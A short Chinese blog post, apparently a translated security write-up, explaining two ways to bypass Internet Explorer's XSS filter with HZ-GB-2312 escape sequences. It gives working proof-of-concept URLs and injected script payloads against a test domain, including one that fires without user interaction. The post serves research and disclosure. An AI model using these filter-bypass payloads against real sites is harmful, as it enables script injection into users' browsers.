利用HZ-GB-2312转义序列绕过IE XSS过滤器

本文详细介绍了如何利用HZ-GB-2312编码的转义序列绕过IE浏览器的XSS过滤器,包含两种具体的绕过方法和PoC示例,展示了在未指定字符集的情况下如何成功执行XSS攻击。

利用HZ-GB-2312转义序列绕过IE的XSS过滤器

我想分享使用HZ-GB-2312编码的转义序列来绕过IE XSS过滤器的方法。

要使用此向量,我们需要目标页面的Content-Type头部未指定字符集。

绕过方法1

PoC:

1
http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonmouseover=alert(1)%3EAAA

无需用户交互的版本:

1
http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a

[0x0A]“是HZ-GB-2312转义序列。XSS过滤器似乎对”[0x0A]“做了例外处理。

如果Content-Type头部指定了正确的字符集,则无法工作:

1
http://vulnerabledoma.in/char_test?charset=utf-8&body=%3Cx~%0Aonmouseover=alert(1)%3EAAA

另一方面,如果meta标签指定了正确的字符集,仍然可以工作:

1
http://vulnerabledoma.in/xssable?q=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a

绕过方法2

“~{“也是HZ-GB-2312转义序列。我们可以用它来绕过过滤器。我们可以在字符串字面量中调用同源方法。

PoC在这里:

1
http://l0.cm/xssfilter_hz_poc.html

请点击"go"按钮。您可以确认element.click方法被调用。

“click"从以下代码调用:

1
http://vulnerabledoma.in/xss_js?q=%22%3B~{valueOf:opener.button.click}//
1
<script>var q="";~{valueOf:opener.button.click}//"</script>

此外,您可以使用"toString”:

1
http://vulnerabledoma.in/xss_js?q=%22%3B~{toString:opener.button.click}//
1
<script>var q="";~{toString:opener.button.click}//"</script>

以上就是全部内容。下个月见!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计